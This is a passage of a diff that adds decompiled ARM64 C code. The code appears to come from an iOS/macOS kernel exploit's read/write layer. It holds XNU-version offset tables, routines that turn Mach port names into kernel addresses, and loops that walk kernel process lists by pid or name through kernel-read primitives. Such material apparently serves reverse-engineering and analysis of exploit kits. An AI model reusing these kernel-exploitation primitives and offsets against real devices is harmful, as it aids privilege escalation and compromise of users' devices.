0x1F530F027FFFFFLL; + if ( v13 <= 0x1F530F027FFFFFLL ) + v15 = 928; + else + v15 = 888; + if ( v14 ) + v16 = 912; + else + v16 = 952; + if ( v12 ) + return v16; + else + return v15; + } + v9 = a1->someLargeNumber > 0x1F530F027FFFFFLL; + v10 = 968; + v11 = 928; +LABEL_27: + if ( v9 ) + return v11; + else + return v10; + } + if ( xnuMajorVersion == 8792 ) + { + v9 = a1->someLargeNumber > 0x22580F032FFFFFLL; + v10 = 1328; + v11 = 1336; + goto LABEL_27; + } + if ( xnuMajorVersion == 8796 || xnuMajorVersion == 10002 ) + return 1840; + return result; +} + +//----- (0000000000033098) ---------------------------------------------------- +__int64 __fastcall sub_33098(struct_krwCtx *a1) +{ + __int64 result; // x0 + int xnuMajorVersion; // w8 + + result = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion <= 8795 ) + { + if ( (unsigned int)(xnuMajorVersion - 8019) < 2 ) + { + if ( a1->someLargeNumber < 0x1F530F02800000LL ) + return 0; + else + return (unsigned int)sub_32F1C(a1) + 8; + } + if ( xnuMajorVersion != 8792 ) + return result; + goto LABEL_11; + } + if ( xnuMajorVersion == 8796 || xnuMajorVersion == 10002 ) + { +LABEL_11: + if ( krw_ctx_has_flag(a1, 84934656) ) + { + return 928; + } + else if ( krw_ctx_has_flag(a1, 89669633) ) + { + return 904; + } + else + { + return 880; + } + } + return result; +} + +//----- (0000000000033168) ---------------------------------------------------- +__int64 __fastcall sub_33168(__int64 a1) +{ + __int64 result; // x0 + int v3; // w9 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 320); + if ( v3 <= 8795 ) + { + if ( (unsigned int)(v3 - 8019) >= 2 && v3 != 8792 ) + return result; +LABEL_7: + if ( *(_QWORD *)(a1 + 344) <= 0x1F530F027FFFFFuLL ) + return 0LL; + else + return 40LL; + } + if ( v3 == 10002 || v3 == 8796 ) + goto LABEL_7; + return result; +} + +//----- (00000000000331D0) ---------------------------------------------------- +__int64 __fastcall sub_331D0(__int64 a1) +{ + __int64 result; // x0 + int v3; // w9 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 320); + if ( v3 <= 8795 ) + { + if ( (unsigned int)(v3 - 8019) >= 2 && v3 != 8792 ) + return result; +LABEL_7: + if ( *(_QWORD *)(a1 + 344) <= 0x1F530F027FFFFFuLL ) + return 0LL; + else + return 112LL; + } + if ( v3 == 10002 || v3 == 8796 ) + goto LABEL_7; + return result; +} + +//----- (0000000000033238) ---------------------------------------------------- +__int64 __fastcall sub_33238(__int64 a1) +{ + __int64 result; // x0 + + result = sub_331D0(a1); + if ( (_DWORD)result ) + return (unsigned int)(result - *(_DWORD *)(a1 + 360)); + return result; +} + +//----- (0000000000033268) ---------------------------------------------------- +unsigned __int64 __fastcall sub_33268(__int64 a1, unsigned int a2) +{ + int v4; // w0 + unsigned int v5; // w21 + unsigned __int64 result; // x0 + + if ( *(int *)(a1 + 320) >= 8792 ) + { + v4 = sub_33098((struct_krwCtx *)a1); + if ( v4 ) + { + v5 = v4 - *(_DWORD *)(a1 + 360); + goto LABEL_5; + } + return 0; + } + v5 = sub_32F1C((struct_krwCtx *)a1); + if ( !v5 ) + return 0; +LABEL_5: + result = port_name_to_kaddr((struct_krwCtx *)a1, a2); + if ( result ) + result += v5 + ((__int64)*(int *)(a1 + 360) << (*(_QWORD *)(a1 + 344) > 0x1F530F027FFFFFuLL)); + return result; +} + +//----- (0000000000033304) ---------------------------------------------------- +__int64 __fastcall sub_33304(struct_krwCtx *a1, __int64 a2) +{ + unsigned int v4; // w0 + __int64 v6; // [xsp+8h] [xbp-18h] BYREF + + v4 = sub_32F1C(a1); + if ( !v4 ) + return 0; + if ( a1->xnuMajorVersion >= 8792 ) + return a2 - v4; + if ( !kread64_outptr(a1, v4 + a2, (unsigned __int64 *)&v6) || !v6 ) + return 0; + if ( validate_addr((__int64)a1, v6) ) + return v6; + return 0; +} + +//----- (000000000003338C) ---------------------------------------------------- +__int64 __fastcall sub_3338C(__int64 a1) +{ + __int64 result; // x0 + int v3; // w10 + __int64 v4; // x9 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 320); + v4 = 40LL; + if ( v3 <= 8791 ) + { + if ( (unsigned int)(v3 - 8019) >= 2 && v3 != 6153 ) + { + if ( v3 != 7195 ) + return result; + if ( *(_QWORD *)(a1 + 344) <= 0x1C1B19145FFFFFuLL ) + return 40LL; + else + return 32LL; + } + return v4; + } + if ( v3 == 8792 || v3 == 8796 || v3 == 10002 ) + return v4; + return result; +} + +//----- (0000000000033414) ---------------------------------------------------- +__int64 __fastcall sub_33414(struct_krwCtx *a1, __int64 a2, int pid) +{ + return sub_3341C(a1, a2, pid, 0); +} + +//----- (000000000003341C) ---------------------------------------------------- +__int64 __fastcall sub_3341C(struct_krwCtx *a1, __int64 a2, int pid, const char *a4) +{ + int v7; // w8 + __int64 result; // x0 + __int64 v10; // x24 + __int64 v11; // x25 + int v16; // w0 + int v17; // w23 + int v18; // w20 + __int64 v19; // x0 + unsigned __int64 v20; // x26 + __int64 v21; // x8 + __int64 v22; // x27 + int v23; // w28 + __int64 v24; // x23 + unsigned __int64 v25; // x20 + __int64 v26; // x1 + __int64 v27; // x0 + unsigned __int64 v28; // x0 + __int64 v29; // x0 + int v31; // [xsp+4h] [xbp-8Ch] BYREF + __int64 v32; // [xsp+8h] [xbp-88h] BYREF + char __s1[8]; // [xsp+10h] [xbp-80h] BYREF + unsigned __int64 v34; // [xsp+18h] [xbp-78h] + __int64 v35; // [xsp+20h] [xbp-70h] + + v7 = a1->xnuMajorVersion; + result = 0; + if ( a4 ) + { + if ( v7 == 8792 ) + { + v11 = 897; + v10 = 0; + } + else + { + if ( v7 != 10002 && v7 != 8796 ) + return result; + v10 = 0; + v11 = 1401; + } + } + else if ( v7 > 8791 ) + { + if ( v7 != 8792 && v7 != 10002 && v7 != 8796 ) + return result; + v11 = 0; + v10 = 96; + } + else + { + if ( (unsigned int)(v7 - 8019) >= 2 && v7 != 6153 && v7 != 7195 ) + return result; + v10 = 104; + v11 = 0; + } + v16 = sub_3338C((__int64)a1); + if ( !v16 ) + return 0; + v17 = v16; + v18 = a1->int168; + v19 = a1->gap1921[2]; + if ( v19 ) + { + ((void (__usercall *)(char *@, __int64@, _QWORD *@))sub_19B98)("__DATA", v19, __s1); + result = 0; + v20 = v34; + if ( !v34 ) + return result; + v21 = v35; + if ( !v35 ) + return result; + v22 = *(_QWORD *)__s1; + } + else + { + v21 = 0; + v20 = 0; + v22 = 0; + } + v23 = 0; + v24 = (unsigned int)(v18 + v17); + v25 = v20 + v21; + while ( 2 ) + { + v32 = a2; + v26 = a2; + do + { + v27 = sub_33304(a1, v26); + if ( v27 ) + { + if ( a4 ) + { + if ( !(unsigned int)kreadbuf_last_1(a1, v27 + v11, 33, __s1) ) + return 0; + if ( !strncmp(__s1, a4, 0x21u) ) + return v32; + } + else + { + if ( !(unsigned int)kreadbuf_last_1(a1, v27 + v10, 4, &v31) ) + return 0; + if ( v31 == pid ) + return v32; + } + } + if ( !kread64_outptr(a1, v32 + v24, (unsigned __int64 *)&v32) ) + return 0; + v28 = validate_addr((__int64)a1, v32); + v32 = v28; + if ( !v28 ) + break; + v26 = v28; + if ( v22 && v28 >= v20 && v28 < v25 ) + { + if ( !kread64_outptr(a1, v28, (unsigned __int64 *)&v32) ) + return 0; + v29 = validate_addr((__int64)a1, v32); + v32 = v29; + if ( !v29 ) + break; + v26 = v29; + } + } + while ( v26 != a2 ); + sub_2AABC((__int64)a1, 0x3D090u); + result = 0; + if ( ++v23 != 6 ) + continue; + break; + } + return result; +} + +//----- (00000000000336AC) ---------------------------------------------------- +__int64 __fastcall sub_336AC(__int64 a1, __int64 a2, const char *a3) +{ + return sub_3341C((struct_krwCtx *)a1, a2, 0, a3); +} + +//----- (00000000000336B8) ---------------------------------------------------- +__int64 __fastcall sub_336B8(struct_krwCtx *a1, __int64 a2, _DWORD *a3, _DWORD *a4) +{ + __int64 result; // x0 + int xnuMajorVersion; // w8 + __int64 v11; // x23 + unsigned __int64 v14; // x1 + unsigned __int64 v15; // x1 + unsigned __int64 v16; // [xsp+0h] [xbp-40h] BYREF + unsigned int v17; // [xsp+Ch] [xbp-34h] BYREF + + result = 0; + v17 = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion > 8791 ) + { + if ( xnuMajorVersion != 8792 && xnuMajorVersion != 10002 && xnuMajorVersion != 8796 ) + return result; + } + else if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 ) + { + if ( xnuMajorVersion != 6153 && xnuMajorVersion != 7195 ) + return result; + v11 = 20; + goto LABEL_18; + } + v11 = 8; +LABEL_18: + if ( !kread64_outptr(a1, a2 + 32, &v16) ) + return 0; + v14 = v16; + if ( !v16 ) + return 0; + if ( a1->someLargeNumber > 0x22580A06BFFFFFLL ) + { + v14 = sub_2A200(a1, v16, &v17); + v16 = v14; + } + result = validate_addr((__int64)a1, v14); + v16 = result; + if ( result ) + { + if ( a1->someLargeNumber <= 0x22580A06BFFFFFLL ) + { + if ( a1->xnuMajorVersion < 7938 ) + v15 = v11 + a2; + else + v15 = result + v11; + if ( kread32_outptr((__int64)a1, v15, &v17) ) + goto LABEL_30; + } + else if ( v17 ) + { + v17 /= 0x18u; +LABEL_30: + *a3 = v17; + *a4 = 24; + return v16; + } + return 0; + } + return result; +} + +//----- (000000000003382C) ---------------------------------------------------- +__int64 __fastcall sub_3382C(__int64 a1, mach_port_name_t task, _DWORD *a3, _DWORD *a4) +{ + __int64 v8; // x1 + __int64 result; // x0 + unsigned __int64 v10; // x1 + unsigned __int64 v11; // x0 + __int64 v12; // x23 + task_t v13; // w0 + __int64 v14; // x23 + int v15; // w8 + __int64 v16; // x8 + unsigned __int64 v17; // x0 + unsigned __int64 v18; // x0 + mach_port_t init_port_set; // [xsp+4h] [xbp-3Ch] BYREF + int pid_then_addr[2]; // [xsp+8h] [xbp-38h] BYREF + + if ( mach_task_self_ == task ) + { + v8 = *(_QWORD *)(a1 + 416); + if ( v8 ) + return sub_336B8((struct_krwCtx *)a1, v8, a3, a4); + } + v10 = *(_QWORD *)(a1 + 6608); + if ( !v10 ) + return 0; + v11 = maybe_ipc_port_get_kobject((struct_krwCtx *)a1, v10); + if ( !v11 ) + return 0; + v12 = v11; + v13 = *(_DWORD *)(a1 + 6424); + if ( v13 + 1 <= 1 ) + { + pid_then_addr[0] = 0; + if ( !pid_for_task(task, pid_then_addr) ) + { + v14 = sub_3341C((struct_krwCtx *)a1, v12, pid_then_addr[0], 0); + if ( v14 ) + goto LABEL_9; + } + return 0; + } + init_port_set = task; + if ( mach_ports_register(v13, &init_port_set, 1u) ) + return 0; + v15 = *(_DWORD *)(a1 + 320); + if ( v15 == 6153 ) + { + v16 = 776; + } + else + { + if ( v15 != 7195 ) + return 0; + v16 = 792; + } + if ( !kread64_outptr((struct_krwCtx *)a1, v16 + v12, (unsigned __int64 *)pid_then_addr) ) + return 0; + v17 = validate_addr(a1, *(__int64 *)pid_then_addr); + if ( !v17 ) + return 0; + v18 = maybe_ipc_port_get_kobject((struct_krwCtx *)a1, v17); + if ( !v18 ) + return 0; + v14 = v18; + init_port_set = 0; + if ( mach_ports_register(*(_DWORD *)(a1 + 6424), &init_port_set, 1u) ) + return 0; +LABEL_9: + result = kreadptr((struct_krwCtx *)a1, v14); + if ( result ) + { + v8 = result; + if ( mach_task_self_ == task ) + *(_QWORD *)(a1 + 416) = result; + return sub_336B8((struct_krwCtx *)a1, v8, a3, a4); + } + return result; +} + +//----- (00000000000339B4) ---------------------------------------------------- +__int64 __fastcall sub_339B4(struct_krwCtx *a1, mach_port_name_t task, mach_port_t port) +{ + __int64 result; // x0 + int v5; // [xsp+8h] [xbp-18h] BYREF + mach_port_t v6; // [xsp+Ch] [xbp-14h] BYREF + + if ( port + 1 < 2 ) + return 0; + result = sub_3382C((__int64)a1, task, &v6, &v5); + if ( !result ) + return result; + if ( port >> 8 >= v6 ) + return 0; + result += v5 * (port >> 8); + return result; +} + +//----- (0000000000033A1C) ---------------------------------------------------- +__int64 __fastcall sub_33A1C(__int64 a1, unsigned int a2) +{ + return task_get_ipc_port_ptr((struct_krwCtx *)a1, mach_task_self_, a2); +} + +//----- (0000000000033A30) ---------------------------------------------------- +unsigned __int64 __fastcall task_get_ipc_port(struct_krwCtx *ctx, mach_port_name_t task, mach_port_t port) +{ + unsigned __int64 result; // x0 + __int64 vaddr; // [xsp+8h] [xbp-18h] BYREF + + result = task_get_ipc_port_ptr(ctx, task, port); + if ( result ) + { + if ( kread64_outptr(ctx, result, (unsigned __int64 *)&vaddr) ) + return validate_addr((__int64)ctx, vaddr); + else + return 0; + } + return result; +} + +//----- (0000000000033A88) ---------------------------------------------------- +__int64 __fastcall sub_33A88(struct_krwCtx *a1, __int64 a2, char a3) +{ + __int64 result; // x0 + unsigned __int64 v6; // x1 + __int64 v7; // [xsp+8h] [xbp-28h] BYREF + __int64 v8; // [xsp+10h] [xbp-20h] BYREF + __int64 v9; // [xsp+18h] [xbp-18h] BYREF + + v7 = 0; + if ( !kread64_outptr(a1, a2 + 16LL * ((a1->someLargeNumber - 0x1F541900000000LL) >> 32 > 4), (unsigned __int64 *)&v9) ) + return 0; + result = validate_addr((__int64)a1, v9); + if ( !result ) + return result; + result = v9; + if ( a1->xnuMajorVersion < 7195 ) + { + v7 = v9; + return result; + } + if ( !kread64_outptr(a1, v9 + 32, (unsigned __int64 *)&v8) ) + return 0; + result = validate_addr((__int64)a1, v8); + if ( result ) + { + result = v8; + if ( (a3 & 1) == 0 ) + { + if ( kread64_internal(a1, v8 + 56, &v7) ) + { + v6 = v7; + if ( a1->someLargeNumber >= 0x1F542301E00000LL ) + { + v6 = sub_2A190((__int64)a1, HIDWORD(v7)); + v7 = v6; + } + return validate_addr((__int64)a1, v6); + } + else + { + return v7; + } + } + } + return result; +} + +//----- (0000000000033B98) ---------------------------------------------------- +__int64 __fastcall sub_33B98(struct_krwCtx *a1, unsigned int a2, unsigned __int64 a3) +{ + unsigned __int64 v5; // x0 + __int64 v6; // x20 + unsigned int v7; // w25 + char v8; // w26 + unsigned __int64 v9; // x22 + _BOOL4 v10; // w23 + __int64 v11; // x24 + unsigned __int64 v12; // x1 + unsigned __int64 v15; // [xsp+8h] [xbp-58h] BYREF + unsigned __int64 v16; // [xsp+10h] [xbp-50h] BYREF + __int64 v17; // [xsp+18h] [xbp-48h] BYREF + + v5 = sub_33CB0(a1, a2); + v6 = 0; + if ( v5 ) + { + v7 = 0; + v8 = 0; + v9 = v5 + 56; + while ( 1 ) + { + v10 = kread64_outptr(a1, v9, (unsigned __int64 *)&v17); + if ( v10 ) + { + do + { + v11 = v17; + if ( !v17 || !validate_addr((__int64)a1, v17) || !kread64_outptr(a1, v11 - 16, &v16) ) + break; + if ( v16 <= a3 ) + { + if ( !kread64_outptr(a1, v11 - 8, &v15) ) + break; + if ( v15 > a3 ) + { + v6 = v11 - 32; + v8 = 1; + if ( v10 ) + goto LABEL_14; + return v6; + } + v12 = v17 + 8; + } + else + { + v12 = v17; + } + } + while ( kread64_outptr(a1, v12, (unsigned __int64 *)&v17) ); + } + if ( !v10 ) + break; +LABEL_14: + if ( (v8 & 1) == 0 && v7++ < 5 ) + continue; + return v6; + } + } + return v6; +} + +//----- (0000000000033CB0) ---------------------------------------------------- +unsigned __int64 __fastcall sub_33CB0(struct_krwCtx *a1, unsigned int a2) +{ + unsigned int v4; // w0 + unsigned int v5; // w20 + unsigned __int64 result; // x0 + __int64 v7; // [xsp+8h] [xbp-28h] BYREF + + v4 = sub_3338C((__int64)a1); + if ( !v4 ) + return 0; + v5 = v4; + result = port_name_to_kaddr(a1, a2); + v7 = result; + if ( !result ) + return result; + if ( !kread64_outptr(a1, result + v5, (unsigned __int64 *)&v7) ) + return 0; + if ( validate_addr((__int64)a1, v7) ) + return v7; + return 0; +} + +//----- (0000000000033D38) ---------------------------------------------------- +unsigned __int64 __fastcall sub_33D38(__int64 krwCtx, unsigned int port, unsigned __int64 a3, unsigned __int64 *a4) +{ + unsigned __int64 result; // x0 + __int64 v9; // x8 + unsigned __int64 v10; // x1 + __int64 v11; // x8 + unsigned __int64 v12; // x8 + __int64 v13; // x0 + unsigned __int64 v14; // x1 + _QWORD v15[2]; // [xsp+0h] [xbp-30h] BYREF + __int64 vars8; // [xsp+38h] [xbp+8h] + + if ( !krw_ctx_has_flag((struct_krwCtx *)krwCtx, 0x800000) ) + { + v13 = sub_33B98((struct_krwCtx *)krwCtx, port, a3); + if ( v13 && (unsigned int)kreadbuf_last_1((struct_krwCtx *)krwCtx, v13 + 56, 16, v15) ) + { + v14 = v15[0]; + if ( *(_QWORD *)(krwCtx + 344) >= 0x1F542301E00000uLL ) + { + v14 = sub_2A190(krwCtx, HIDWORD(v15[0])); + v15[0] = v14; + } + if ( validate_addr(krwCtx, v14) ) + { + result = v15[0]; + *a4 = v15[1] & 0xFFFFFFFFFFFFF000LL; + return result; + } + } + return 0; + } + result = sub_1F07C(port, a3, a4); + if ( !result ) + return result; + if ( (result & 1) != 0 ) + { + v10 = result - *(_QWORD *)(krwCtx + 312); + if ( HIDWORD(result) ) + { + if ( HIDWORD(v10) ) + goto LABEL_20; + } + else + { + v10 = (unsigned int)(result - *(_DWORD *)(krwCtx + 312)); + } + v12 = *(_QWORD *)(krwCtx + 304); + if ( v12 ) + goto LABEL_19; + return 0; + } + v9 = *(_QWORD *)(krwCtx + 6624); + if ( !v9 ) + return 0; + v10 = v9 + result; + if ( !((v9 + result) >> 32) ) + { + v11 = *(_QWORD *)(krwCtx + 6600); + if ( v11 ) + { + v12 = v11 & 0xFFFFFFFF00000000LL; +LABEL_19: + v10 |= v12; + goto LABEL_20; + } + return 0; + } +LABEL_20: + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return validate_addr(krwCtx, v10); +} + +//----- (0000000000033E8C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_33E8C(struct_krwCtx *a1, unsigned int a2) +{ + unsigned __int64 result; // x0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + result = port_name_to_kaddr(a1, a2); + if ( result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_33304(a1, result); + } + return result; +} +// 33EBC: variable 'vars8' is possibly undefined + +//----- (0000000000033ED8) ---------------------------------------------------- +__int64 __fastcall sub_33ED8(struct_krwCtx *a1, __int64 a2) +{ + __int64 result; // x0 + __int64 v4; // x8 + int xnuMajorVersion; // w8 + __int64 v6; // x8 + __int64 v7; // [xsp+8h] [xbp-18h] BYREF + + result = sub_33304(a1, a2); + v7 = result; + if ( result ) + { + if ( a1->someLargeNumber > 0x1F530F027FFFFFLL ) + { + v4 = 32; + if ( a1->xnuMajorVersion > 8791 ) + v4 = 24; + if ( !kread64_outptr(a1, v4 + result, (unsigned __int64 *)&v7) ) + return 0; + result = validate_addr((__int64)a1, v7); + if ( !result ) + return result; + } + result = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion <= 8791 ) + { + if ( (unsigned int)(xnuMajorVersion - 8019) < 2 ) + { + v6 = 216; + if ( a1->someLargeNumber > 0x1F530F027FFFFFLL ) + v6 = 32; + } + else if ( xnuMajorVersion == 6153 ) + { + v6 = 256; + } + else + { + if ( xnuMajorVersion != 7195 ) + return result; + v6 = 240; + } + return v7 + v6; + } + if ( xnuMajorVersion == 8792 || xnuMajorVersion == 8796 || xnuMajorVersion == 10002 ) + { + v6 = 32; + return v7 + v6; + } + } + return result; +} + +//----- (0000000000033FFC) ---------------------------------------------------- +unsigned __int64 __fastcall sub_33FFC(struct_krwCtx *a1, mach_port_t a2) +{ + unsigned __int64 result; // x0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + result = port_name_to_kaddr(a1, a2); + if ( result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_33ED8(a1, result); + } + return result; +} +// 3402C: variable 'vars8' is possibly undefined + +//----- (0000000000034048) ---------------------------------------------------- +unsigned __int64 __fastcall sub_34048(struct_krwCtx *a1, __int64 a2, _QWORD *a3) +{ + unsigned __int64 result; // x0 + unsigned __int64 v6; // x21 + __int64 v7; // [xsp+0h] [xbp-30h] BYREF + __int64 v8; // [xsp+8h] [xbp-28h] BYREF + + result = sub_33ED8(a1, a2); + if ( result ) + { + v6 = result; + if ( kread64_outptr(a1, result, (unsigned __int64 *)&v8) ) + { + result = validate_addr((__int64)a1, v8); + if ( !result ) + return result; + if ( !a3 ) + return v8; + if ( kread64_internal(a1, v6, &v7) ) + { + *a3 = v7; + return v8; + } + } + return 0; + } + return result; +} + +//----- (00000000000340D8) ---------------------------------------------------- +__int64 __fastcall sub_340D8(struct_krwCtx *a1, unsigned int a2, _QWORD *a3) +{ + __int64 result; // x0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + result = port_name_to_kaddr(a1, a2); + if ( result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_34048(a1, result, a3); + } + return result; +} +// 34110: variable 'vars8' is possibly undefined + +//----- (000000000003412C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_3412C(struct_krwCtx *a1, unsigned int a2) +{ + unsigned __int64 result; // x0 + unsigned __int64 v4; // x20 + int xnuMajorVersion; // w8 + __int64 v7; // x8 + bool v8; // zf + __int64 v9; // x9 + unsigned __int64 v10; // x1 + unsigned __int64 v11; // [xsp+8h] [xbp-18h] BYREF + + result = port_name_to_kaddr(a1, a2); + if ( result ) + { + v4 = result; + xnuMajorVersion = a1->xnuMajorVersion; + if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 7195 ) + { + if ( xnuMajorVersion != 6153 ) + return 0; + v8 = !krw_ctx_has_flag(a1, 89670145); + v7 = 960; + v9 = 984; + goto LABEL_13; + } + if ( a1->someLargeNumber < 0x1C1B1914600000LL ) + { + v8 = !krw_ctx_has_flag(a1, 89670145); + v7 = 1048; + v9 = 1120; + } + else + { + if ( krw_ctx_has_flag(a1, 0x100000) ) + { + v7 = 1264; +LABEL_15: + v10 = v4 + v7; + if ( a1->someLargeNumber >= 0x1F530F02800000LL ) + { + v11 = v4 + v7; + goto LABEL_19; + } + if ( kread64_outptr(a1, v10, &v11) ) + { + v10 = v11; +LABEL_19: + if ( validate_addr((__int64)a1, v10) ) + return v11; + else + return 0; + } + return 0; + } + if ( krw_ctx_has_flag(a1, 540672) ) + { + v7 = 1256; + goto LABEL_15; + } + if ( krw_ctx_has_flag(a1, 1) ) + { + v7 = 1248; + goto LABEL_15; + } + v8 = !krw_ctx_has_flag(a1, 512); + v7 = 1232; + v9 = 1296; + } +LABEL_13: + if ( v8 ) + v7 = v9; + goto LABEL_15; + } + return result; +} + +//----- (0000000000034298) ---------------------------------------------------- +unsigned __int64 __fastcall sub_34298(struct_krwCtx *a1, unsigned int a2) +{ + unsigned __int64 v3; // x0 + unsigned __int64 result; // x0 + int v5; // w8 + __int64 v6; // x8 + + if ( a1->someLargeNumber < 0x1F530F02800000LL ) + { + result = sub_3412C(a1, a2); + if ( !result ) + return result; + v5 = a1->xnuMajorVersion; + switch ( v5 ) + { + case 8019: + v6 = 288; + break; + case 7195: + v6 = 296; + break; + case 6153: + v6 = 336; + if ( a1->someLargeNumber > 0x18090A095FFFFFLL ) + v6 = 296; + break; + default: + return 0; + } + result += v6; + return result; + } + v3 = sub_34358(a1, a2); + if ( v3 ) + return v3 + 8; + else + return 0; +} + +//----- (0000000000034358) ---------------------------------------------------- +unsigned __int64 __fastcall sub_34358(struct_krwCtx *a1, unsigned int a2) +{ + unsigned int v4; // w0 + unsigned int v5; // w21 + unsigned __int64 result; // x0 + __int64 v7; // [xsp+8h] [xbp-28h] BYREF + + v7 = 0; + v4 = sub_343E0(a1); + if ( !v4 ) + return 0; + v5 = v4; + result = port_name_to_kaddr(a1, a2); + if ( !result ) + return result; + if ( !kread64_outptr(a1, result + v5, (unsigned __int64 *)&v7) ) + return 0; + if ( validate_addr((__int64)a1, v7) ) + return v7; + return 0; +} + +//----- (00000000000343E0) ---------------------------------------------------- +__int64 __fastcall sub_343E0(struct_krwCtx *a1) +{ + __int64 result; // x0 + int xnuMajorVersion; // w8 + unsigned int v4; // w8 + uint64_t someLargeNumber; // x9 + unsigned int v6; // w10 + unsigned __int64 v7; // x11 + + result = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion > 8795 ) + { + if ( xnuMajorVersion != 8796 ) + { + if ( xnuMajorVersion != 10002 ) + return result; + if ( krw_ctx_has_flag(a1, 0x4000000) ) + { + v4 = 960; + } + else if ( krw_ctx_has_flag(a1, 17825792) ) + { + v4 = 880; + } + else if ( krw_ctx_has_flag(a1, 540672) ) + { + v4 = 872; + } + else if ( krw_ctx_has_flag(a1, 1) ) + { + v4 = 856; + } + else + { + v4 = 904; + } + someLargeNumber = a1->someLargeNumber; + v6 = v4 + 16; + v7 = 0x27120A807FFFFFLL; +LABEL_37: + if ( someLargeNumber <= v7 ) + return v4; + else + return v6; + } + } + else + { + if ( (unsigned int)(xnuMajorVersion - 8019) < 2 ) + { + if ( a1->someLargeNumber < 0x1F530F02800000LL ) + return 0; + if ( krw_ctx_has_flag(a1, 0x100000) ) + { + v4 = 928; + } + else if ( krw_ctx_has_flag(a1, 540672) ) + { + v4 = 920; + } + else if ( krw_ctx_has_flag(a1, 1) ) + { + v4 = 912; + } + else if ( krw_ctx_has_flag(a1, 512) ) + { + v4 = 896; + } + else + { + v4 = 960; + } + someLargeNumber = a1->someLargeNumber; + v6 = v4 - 8; + v7 = 0x1F541DFFFFFFFFLL; + goto LABEL_37; + } + if ( xnuMajorVersion != 8792 ) + return result; + } + if ( krw_ctx_has_flag(a1, 17825792) ) + return 888; + if ( krw_ctx_has_flag(a1, 540672) ) + return 880; + if ( krw_ctx_has_flag(a1, 1) ) + return 864; + if ( krw_ctx_has_flag(a1, 512) ) + return 848; + return 912; +} + +//----- (00000000000345D4) ---------------------------------------------------- +__int64 __fastcall sub_345D4(__int64 a1, unsigned int a2) +{ + unsigned __int64 v3; // x0 + __int64 v4; // x8 + int v5; // w9 + __int64 v6; // x8 + + v3 = sub_3412C((struct_krwCtx *)a1, a2); + v4 = 0; + if ( v3 ) + { + v5 = *(_DWORD *)(a1 + 320); + if ( v5 > 8018 ) + { + if ( v5 == 8019 ) + { + v6 = 256; + return v6 + v3; + } + if ( v5 == 8020 ) + { + v6 = 240; + return v6 + v3; + } + } + else + { + if ( v5 == 6153 ) + { + v6 = 304; + if ( *(_QWORD *)(a1 + 344) > 0x18090A095FFFFFuLL ) + v6 = 264; + return v6 + v3; + } + if ( v5 == 7195 ) + { + v6 = 264; + return v6 + v3; + } + } + } + return v4; +} + +//----- (0000000000034680) ---------------------------------------------------- +unsigned __int64 __fastcall sub_34680(struct_krwCtx *a1, unsigned int a2) +{ + unsigned __int64 v3; // x0 + __int64 v4; // x8 + int v5; // w9 + __int64 v6; // x8 + + if ( a1->someLargeNumber <= 0x1F530F027FFFFFLL ) + v3 = sub_33E8C(a1, a2); + else + v3 = sub_34754(a1, a2); + v4 = 0; + if ( !v3 ) + return v4; + v5 = a1->xnuMajorVersion; + if ( v5 > 8791 ) + { + if ( v5 != 8792 && v5 != 8796 && v5 != 10002 ) + return v4; +LABEL_13: + v6 = 768; + if ( a1->someLargeNumber > 0x1F530F027FFFFFLL ) + v6 = 28; + return v6 + v3; + } + if ( (unsigned int)(v5 - 8019) < 2 ) + goto LABEL_13; + if ( v5 == 6153 ) + { + v6 = 664; + return v6 + v3; + } + if ( v5 == 7195 ) + { + v6 = 640; + return v6 + v3; + } + return v4; +} + +//----- (0000000000034754) ---------------------------------------------------- +__int64 __fastcall sub_34754(struct_krwCtx *a1, unsigned int a2) +{ + unsigned int v4; // w0 + unsigned int v5; // w21 + __int64 result; // x0 + __int64 v7; // x20 + __int64 v8; // x0 + __int64 v10; // [xsp+0h] [xbp-30h] BYREF + __int64 v11; // [xsp+8h] [xbp-28h] BYREF + + v4 = sub_33098(a1); + if ( !v4 ) + return 0; + v5 = v4; + result = port_name_to_kaddr(a1, a2); + if ( !result ) + return result; + v7 = result; + result = validate_addr((__int64)a1, result); + if ( !result ) + return result; + if ( !kread64_outptr(a1, v7 + v5, (unsigned __int64 *)&v11) ) + return 0; + result = validate_addr((__int64)a1, v11); + if ( !result ) + return result; + if ( !kread64_outptr(a1, v11 + 8, (unsigned __int64 *)&v10) ) + return 0; + v8 = validate_addr((__int64)a1, v10); + if ( v7 != v10 || v8 == 0 ) + return 0; + else + return v11; +} + +//----- (000000000003481C) ---------------------------------------------------- +__int64 __fastcall sub_3481C(__int64 a1) +{ + __int64 result; // x0 + int v3; // w8 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 320); + if ( v3 <= 8019 ) + { + if ( v3 == 6153 || v3 == 7195 ) + return 268LL; + if ( v3 == 8019 ) + return 284LL; + return result; + } + if ( v3 > 8795 ) + { + if ( v3 != 8796 ) + { + if ( v3 == 10002 ) + return 200LL; + return result; + } + return 180LL; + } + if ( v3 == 8020 ) + return 148LL; + if ( v3 == 8792 ) + return 180LL; + return result; +} + +//----- (00000000000348BC) ---------------------------------------------------- +__int64 __fastcall sub_348BC(__int64 a1) +{ + __int64 result; // x0 + int v3; // w8 + bool v4; // zf + int v5; // w9 + + result = 0LL; + v3 = *(_DWORD *)(a1 + 320); + if ( v3 <= 8019 ) + { + if ( v3 == 6153 || v3 == 7195 || v3 == 8019 ) + return 